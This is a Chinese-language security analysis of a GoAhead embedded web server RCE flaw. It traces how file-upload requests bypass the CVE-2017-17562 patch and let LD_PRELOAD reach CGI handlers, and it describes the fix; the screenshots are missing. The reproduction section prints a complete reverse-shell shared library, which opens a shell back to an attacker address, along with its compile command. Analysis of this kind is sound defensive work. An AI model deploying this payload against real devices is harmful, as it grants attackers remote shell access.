作者: 且聽安全
原文鏈接:https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
概述
GoAhead是世界上最受歡迎的微型嵌入式Web服務器。它結構緊湊、安全且易于使用。GoAhead部署在數億臺設備中,是最小嵌入式設備的理想選擇。
近日爆出GoAhead存在RCE漏洞,漏洞源于文件上傳過濾器處理的不全,當與CGI處理程序一起使用時,可影響環境變量,從而實現RCE。GoAhead曾經爆出過類似的漏洞CVE-2017-17562:
https://www.elttam.com/blog/goahead/#content
經過分析發現此次爆出的新漏洞與CVE-2021-42342類似。漏洞影響版本為:
GoAhead web-server=4.x
5.x<=GoAhead web-server<5.1.5
GoAhead在IBM、HP、Oracle、波音、D-link、摩托羅拉等廠商產品中廣泛使用,所以該漏洞的影響范圍非常廣泛。
補丁對比分析
在開始真正漏洞分析之前,我們首先回顧一下GoAhead針對CVE-2017-17562的修復方式。主要修復有2個。第1個在cgi.c#cgiHandler處理函數中:

乍一看當參數以LD_開頭將會被忽略,所以LD_PRELOAD無法使用。但是深入分析我們發現這里補丁犯了一個低級錯誤。這里vp雖然來源于s->name.value.string:
vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
看下strim函數定義:

vp將永遠為0,所以上面通過if過濾LD_PRELOAD參數的過程是沒有任何意義的。接著往下走,GoAhead會將POST請求的表單變量使用ME_GOAHEAD_CGI_VAR_PREFIX作為前綴,通過函數sfmt進行字符串格式化以保證LD_PRELOAD不會被劫持。看起來修復的很完善,但是我們看這里進入第183行處理的前提條件是s->arg的值不為0(初始化狀態為0)。
第2處修改位于http.c#addFormVars函數:

這里將arg賦值為1,正好可以滿足上面if判斷的條件。
HTTP請求處理分析
下面我們開始從GoAhead處理HTTP請求進行簡單分析。
進程初始化分析
GoAhead進程啟動后,會調用http.c#websServer函數完成配置初始化處理:

函數websOpen會嘗試解析route.txt,并根據配置選擇啟動的模塊:


websDefineHandler函數用來定義處理不同請求類型的回調函數,比如上面定義CGI的回調處理函數為cgiHandler,前面補丁對比分析時講過這個函數會對參數進行加前綴處理。
回到http.c#websServer,第3426行將調用websListen函數啟動HTTP服務,進入該函數:

第644行定義了當有HTTP請求來到時,將回調websAccept函數進行處理。

第702行將調用websAlloc為每一個請求分配單獨的Webs結構體空間:

initWebs函數完成對Webs結構體初始化的工作:

下面我們簡要分析一下GoAhead對一次HTTP請求進行處理的流程。GoAhead將HTTP請求分為4個狀態:

對于每一個HTTP請求,GoAhead以事件形式通過readEvent函數進行處理:

進入websPump函數:

WEBS_BEGIN
在Accept階段(即WEBS_BEGIN),調用函數parseIncoming:

進入parseHeaders對HTTP頭進行檢查與解析:

?根據content-type的不同類型,完成對wp->flags的賦值。
WEBS_CONTENT
當進入參數處理狀態時(即WEBS_CONTENT),websPump將調用processContent進行處理:

這里重點講下文件上傳狀態WEBS_UPLOAD參數處理的過程。在upload.c中,默認定義上傳文件保存目錄為tmp:

在processUploadHeader中構造此次HTTP請求結構體的uploadTmp值:


因此,websTempFile默認將生成一個/tmp/tmp-0.tmp的臨時文件名稱,數字是websTempFile中根據count++生成的。然后打開臨時文件,并將文件句柄賦值給wp->upfd。在processContentData處理上傳文件時,將調用writeToFile寫入文件:


最終將文件寫入了wp->upfd,也就是保存到了創建的臨時文件中。
WEBS_READY
websPump將調用websRunRequest進行處理:

在這里有兩個函數websSetQueryVars和websSetFormVars需要注意:


這2個函數都調用了addFormVars,在前面對CVE-2017-17562漏洞補丁進行分析的過程中提到過這個函數,addFormVars處理的最后將sp->arg賦值為1,使得cgi.c#cgiHandler處理過程中會對請求參數進行重命名,從而修復了CVE-2017-17562漏洞。
漏洞分析
有了前面對CVE-2017-17562漏洞修復的補丁對比和HTTP請求原理的分析基礎,下面的漏洞分析過程就顯得非常簡單了。
在WEBS_READY提到,GoAhead對POST請求和GET請求提交的參數都會調用addFormVars函數進行處理,將sp->arg賦值為1,從而使得cgi.c#cgiHandler重命名環境變量,但是我們可以看到POST請求調用addFormVars的前提是wp-flags取值為WEB_FORM,回顧WEBS_BEGIN處理過程,當content-type為multipart/form-data時,wp-flags將賦值為WEBS_UPLOAD,也就是說,如果HTTP請求為文件上傳類型時,參數將不會通過addFormVars處理,此時s->arg取值仍然為0,從而在cgi.c#cgiHandler中將進入如下分支:

后面漏洞觸發的原理與CVE-2017-17562就是一樣的了。
漏洞復現
反彈shell的惡意函數:
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="127.0.0.1";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/bash", 0, 0);
}
編譯:
gcc hack.c -fPIC -shared -o hack.so

修復方式
在新版本中改動的代碼有不少,最核心的變化在upload.c#processContentData函數中:

對文件上傳處理同樣加入了sp->arg = 1的處理。同時在cgi.c#cgiHandler中,加入了黑名單處理機制,并且調整了sstarts判斷代碼,修復了低級錯誤:

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1808/
暫無評論